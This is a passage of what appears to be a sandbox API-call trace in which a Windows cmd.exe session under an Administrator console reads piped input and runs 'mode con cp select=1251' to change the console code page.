(in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49eec320, cbMultiByte=1, lpWideCharStr=0x49eee340, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0113.505] _get_osfhandle (_FileHandle=0) returned 0xe8 [0113.505] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.505] ReadFile (in: hFile=0xe8, lpBuffer=0x49eec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af758, lpOverlapped=0x0 | out: lpBuffer=0x49eec320*, lpNumberOfBytesRead=0x1af758*=0x1, lpOverlapped=0x0) returned 1 [0113.505] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49eec320, cbMultiByte=1, lpWideCharStr=0x49eee342, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0113.505] _get_osfhandle (_FileHandle=0) returned 0xe8 [0113.505] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.505] ReadFile (in: hFile=0xe8, lpBuffer=0x49eec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af758, lpOverlapped=0x0 | out: lpBuffer=0x49eec320*, lpNumberOfBytesRead=0x1af758*=0x1, lpOverlapped=0x0) returned 1 [0113.505] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49eec320, cbMultiByte=1, lpWideCharStr=0x49eee344, cchWideChar=1 | out: lpWideCharStr="=") returned 1 [0113.505] _get_osfhandle (_FileHandle=0) returned 0xe8 [0113.505] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.505] ReadFile (in: hFile=0xe8, lpBuffer=0x49eec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af758, lpOverlapped=0x0 | out: lpBuffer=0x49eec320*, lpNumberOfBytesRead=0x1af758*=0x1, lpOverlapped=0x0) returned 1 [0113.505] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49eec320, cbMultiByte=1, lpWideCharStr=0x49eee346, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0113.505] _get_osfhandle (_FileHandle=0) returned 0xe8 [0113.505] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.506] ReadFile (in: hFile=0xe8, lpBuffer=0x49eec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af758, lpOverlapped=0x0 | out: lpBuffer=0x49eec320*, lpNumberOfBytesRead=0x1af758*=0x1, lpOverlapped=0x0) returned 1 [0113.506] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49eec320, cbMultiByte=1, lpWideCharStr=0x49eee348, cchWideChar=1 | out: lpWideCharStr="2") returned 1 [0113.506] _get_osfhandle (_FileHandle=0) returned 0xe8 [0113.506] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.506] ReadFile (in: hFile=0xe8, lpBuffer=0x49eec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af758, lpOverlapped=0x0 | out: lpBuffer=0x49eec320*, lpNumberOfBytesRead=0x1af758*=0x1, lpOverlapped=0x0) returned 1 [0113.506] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49eec320, cbMultiByte=1, lpWideCharStr=0x49eee34a, cchWideChar=1 | out: lpWideCharStr="5") returned 1 [0113.506] _get_osfhandle (_FileHandle=0) returned 0xe8 [0113.506] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.506] ReadFile (in: hFile=0xe8, lpBuffer=0x49eec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af758, lpOverlapped=0x0 | out: lpBuffer=0x49eec320*, lpNumberOfBytesRead=0x1af758*=0x1, lpOverlapped=0x0) returned 1 [0113.506] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49eec320, cbMultiByte=1, lpWideCharStr=0x49eee34c, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0113.506] _get_osfhandle (_FileHandle=0) returned 0xe8 [0113.506] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.506] ReadFile (in: hFile=0xe8, lpBuffer=0x49eec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af758, lpOverlapped=0x0 | out: lpBuffer=0x49eec320*, lpNumberOfBytesRead=0x1af758*=0x1, lpOverlapped=0x0) returned 1 [0113.506] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49eec320, cbMultiByte=1, lpWideCharStr=0x49eee34e, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0113.507] _get_osfhandle (_FileHandle=0) returned 0xe8 [0113.507] GetFileType (hFile=0xe8) returned 0x3 [0113.507] _get_osfhandle (_FileHandle=0) returned 0xe8 [0113.507] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.507] _get_osfhandle (_FileHandle=1) returned 0xf4 [0113.507] GetFileType (hFile=0xf4) returned 0x3 [0113.507] _get_osfhandle (_FileHandle=1) returned 0xf4 [0113.507] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="mode con cp select=1251\n", cchWideChar=-1, lpMultiByteStr=0x49eec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mode con cp select=1251\n", lpUsedDefaultChar=0x0) returned 25 [0113.507] WriteFile (in: hFile=0xf4, lpBuffer=0x49eec320*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x1af738, lpOverlapped=0x0 | out: lpBuffer=0x49eec320*, lpNumberOfBytesWritten=0x1af738*=0x18, lpOverlapped=0x0) returned 1 [0113.508] _wcsicmp (_String1="mode", _String2=")") returned 68 [0113.508] _wcsicmp (_String1="FOR", _String2="mode") returned -7 [0113.508] _wcsicmp (_String1="FOR/?", _String2="mode") returned -7 [0113.508] _wcsicmp (_String1="IF", _String2="mode") returned -4 [0113.508] _wcsicmp (_String1="IF/?", _String2="mode") returned -4 [0113.508] _wcsicmp (_String1="REM", _String2="mode") returned 5 [0113.508] _wcsicmp (_String1="REM/?", _String2="mode") returned 5 [0113.509] GetConsoleOutputCP () returned 0x1b5 [0113.651] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49eebfe0 | out: lpCPInfo=0x49eebfe0) returned 1 [0113.651] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0113.651] GetConsoleTitleW (in: lpConsoleTitle=0x1af6f0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0113.651] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0113.651] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0113.651] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0113.651] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0113.651] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0113.651] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0113.651] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0113.651] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0113.651] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0113.651] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0113.651] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0113.651] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0113.651] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0113.651] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0113.652] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0113.652] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0113.652] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0113.652] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0113.652] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0113.652] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0113.652] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0113.652] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0113.652] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0113.652] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0113.652] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0113.652] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0113.652] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0113.652] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0113.652] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0113.652] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0113.652] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0113.652] _wcsicmp (_String1="mode", _String2="START") returned -6 [0113.652] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0113.652] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0113.652] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0113.652] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0113.652] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0113.652] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0113.652] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0113.652] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0113.652] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0113.652] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0113.652] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0113.652] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0113.652] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0113.652] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0113.652] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0113.653] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0113.653] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0113.653] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0113.653] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0113.653] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0113.653] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0113.653] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0113.653] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0113.653] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0113.653] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0113.653] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0113.653] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0113.653] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0113.653] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0113.653] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0113.653] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0113.653] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0113.653] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0113.653] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0113.653] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0113.653] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0113.653] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0113.653] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0113.653] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0113.653] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0113.653] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0113.653] _wcsicmp (_String1="mode", _String2="START") returned -6 [0113.653] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0113.653] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0113.653] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0113.653] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0113.653] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0113.653] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0113.653] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0113.653] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0113.653] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0113.654] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0113.654] _wcsicmp (_String1="mode", _String2="FOR") returned 7 [0113.654] _wcsicmp (_String1="mode", _String2="IF") returned 4 [0113.654] _wcsicmp (_String1="mode", _String2="REM") returned -5 [0113.654] _wcsnicmp (_String1="mode", _String2="cmd ", _MaxCount=0x4) returned 10 [0113.654] SetErrorMode (uMode=0x0) returned 0x0 [0113.654] SetErrorMode (uMode=0x1) returned 0x0 [0113.654] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x209a90, lpFilePart=0x1aef80 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1aef80*="Desktop") returned 0x25 [0113.654] SetErrorMode (uMode=0x0) returned 0x1 [0113.655] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49edf360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0113.655] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0113.660] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49edf360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0113.662] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0113.662] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mode.*", fInfoLevelId=0x1, lpFindFileData=0x1aecf0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1aecf0) returned 0xffffffffffffffff [0113.663] GetLastError () returned 0x2 [0113.663] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mode", fInfoLevelId=0x1, lpFindFileData=0x1aecf0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1aecf0) returned 0xffffffffffffffff [0113.663] GetLastError () returned 0x2 [0113.663] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0113.663] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\mode.*", fInfoLevelId=0x1, lpFindFileData=0x1aecf0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1aecf0) returned 0x205c00 [0113.663] FindClose (in: hFindFile=0x205c00 | out: hFindFile=0x205c00) returned 1 [0113.663] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\mode.COM", fInfoLevelId=0x1, lpFindFileData=0x1aecf0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1aecf0) returned 0x205c00 [0113.664] FindClose (in: hFindFile=0x205c00 | out: hFindFile=0x205c00) returned 1 [0113.664] _wcsicmp (_String1=".COM", _String2=".BAT") returned 1 [0113.664] _wcsicmp (_String1=".COM", _String2=".CMD") returned 2 [0113.664] GetConsoleTitleW (in: lpConsoleTitle=0x1af240, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0113.664] GetConsoleTitleW (in: lpConsoleTitle=0x209c50, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0113.664] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - mode con cp select=1251") returned 1 [0113.665] InitializeProcThreadAttributeList (in: lpAttributeList=0x1aeff8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1aefb8 | out: lpAttributeList=0x1aeff8, lpSize=0x1aefb8) returned 1 [0113.665] UpdateProcThreadAttribute (in: lpAttributeList=0x1aeff8, dwFlags=0x0, Attribute=0x60001, lpValue=0x1aefa8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1aeff8, lpPreviousValue=0x0) returned 1 [0113.665] GetStartupInfoW (in: lpStartupInfo=0x1af110 | out: lpStartupInfo=0x1af110*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4)) [0113.665] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0113.665] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0113.665] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0113.665] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0113.665] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0113.665] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0113.665] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0113.665] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0113.665] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0113.665] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0113.665] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0113.665] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0113.665] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0113.665] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0113.665] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0113.665] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0113.665] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0113.665] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0113.665] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0113.665] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0113.665] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0113.665] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0113.665] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0113.665] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0113.665] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0113.665] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0113.666] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0113.666] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0113.666] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0113.666] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0113.666] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0113.666] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0113.666] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0113.666] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0113.666] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0113.666] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0113.666] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0113.666] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0113.666] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\mode.com", lpCommandLine="mode con cp select=1251", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x1af030*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="mode con cp select=1251", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1aefe0 | out: lpCommandLine="mode con cp select=1251", lpProcessInformation=0x1aefe0*(hProcess=0x54, hThread=0x50, dwProcessId=0xb04, dwThreadId=0xb54)) returned 1 [0113.672] CloseHandle (hObject=0x50) returned 1 [0113.672] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0113.672] GetEnvironmentStringsW () returned 0x20aa10* [0113.672] FreeEnvironmentStringsW (penv=0x20aa10) returned 1 [0113.672] LoadLibraryW (lpLibFileName="NTDLL.DLL") returned 0x77670000 [0113.673] GetProcAddress (hModule=0x77670000, lpProcName="NtQueryInformationProcess") returned 0x776c14a0 [0113.673] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x1ae8e8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x1ae8e8, ReturnLength=0x0) returned 0x0 [0113.673] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffdf000, lpBuffer=0x1ae920, nSize=0x380, lpNumberOfBytesRead=0x1ae8e0 | out: lpBuffer=0x1ae920*, lpNumberOfBytesRead=0x1ae8e0*=0x380) returned 1 [0113.673] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0114.278] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x1aef28 | out: lpExitCode=0x1aef28*=0x0) returned 1 [0114.278] CloseHandle (hObject=0x54) returned 1 [0114.278] _vsnwprintf (in: _Buffer=0x1af198, _BufferCount=0x13, _Format="%08X", _ArgList=0x1aef38 | out: _Buffer="00000000") returned 8 [0114.278] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0114.278] GetEnvironmentStringsW () returned 0x20aa10* [0114.278] FreeEnvironmentStringsW (penv=0x20aa10) returned 1 [0114.278] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0114.278] GetEnvironmentStringsW () returned 0x20aa10* [0114.278] FreeEnvironmentStringsW (penv=0x20aa10) returned 1 [0114.278] DeleteProcThreadAttributeList (in: lpAttributeList=0x1aeff8 | out: lpAttributeList=0x1aeff8) [0114.330] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0114.330] _get_osfhandle (_FileHandle=1) returned 0xf4 [0114.330] SetConsoleMode (hConsoleHandle=0xf4, dwMode=0x0) returned 0 [0114.331] _get_osfhandle (_FileHandle=1) returned 0xf4 [0114.331] GetConsoleMode (in: hConsoleHandle=0xf4, lpMode=0x49ede194 | out: lpMode=0x49ede194) returned 0 [0114.331] _get_osfhandle (_FileHandle=0) returned 0xe8 [0114.331] GetConsoleMode (in: hConsoleHandle=0xe8, lpMode=0x49ede198 | out: lpMode=0x49ede198) returned 0 [0114.331] GetConsoleOutputCP () returned 0x4e3 [0114.331] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x49eebfe0 | out: lpCPInfo=0x49eebfe0) returned 1 [0114.331] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0114.332] _vsnwprintf (in: _Buffer=0x49ef6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1af458 | out: _Buffer="\r\n") returned 2 [0114.332] _get_osfhandle (_FileHandle=1) returned 0xf4 [0114.332] GetFileType (hFile=0xf4) returned 0x3 [0114.332] _get_osfhandle (_FileHandle=1) returned 0xf4 [0114.332] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49eec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0114.332] WriteFile (in: hFile=0xf4, lpBuffer=0x49eec320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1af428, lpOverlapped=0x0 | out: lpBuffer=0x49eec320*, lpNumberOfBytesWritten=0x1af428*=0x2, lpOverlapped=0x0) returned 1 [0114.332] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49edf360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0114.332] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49eec0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0114.332] _vsnwprintf (in: _Buffer=0x49edeb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x1af468 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0114.332] _vsnwprintf (in: _Buffer=0x49edebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x1af468 | out: _Buffer=">") returned 1 [0114.332] _get_osfhandle (_FileHandle=1) returned 0xf4 [0114.332] GetFileType (hFile=0xf4) returned 0x3 [0114.332] _get_osfhandle (_FileHandle=1) returned 0xf4 [0114.332] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x49eec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0114.332] WriteFile (in: hFile=0xf4, lpBuffer=0x49eec320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x1af458, lpOverlapped=0x0 | out: lpBuffer=0x49eec320*, lpNumberOfBytesWritten=0x1af458*=0x26, lpOverlapped=0x0) returned 1 [0114.332] _get_osfhandle (_FileHandle=0) returned 0xe8 [0114.332] GetFileType (hFile=0xe8) returned 0x3 [0114.332] _get_osfhandle (_FileHandle=0) returned 0xe8 [0114.332] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.332] ReadFile (in: hFile=0xe8, lpBuffer=0x49eec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af758, lpOverlapped=0x0 | out: lpBuffer=0x49eec320*, lpNumberOfBytesRead=0x1af758*=0x1, lpOverlapped=0x0) returned 1 [0114.332] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x49eec320, cbMultiByte=1, lpWideCharStr=0x49eee320, cchWideChar=1 | out: lpWideCharStr="vode con cp select=1251\n") returned 1 [0114.332] _get_osfhandle (_FileHandle=0) returned 0xe8 [0114.332] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.333] ReadFile (in: hFile=0xe8, lpBuffer=0x49eec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af758, lpOverlapped=0x0 | out: lpBuffer=0x49eec320*, lpNumberOfBytesRead=0x1af758*=0x1, lpOverlapped=0x0) returned 1 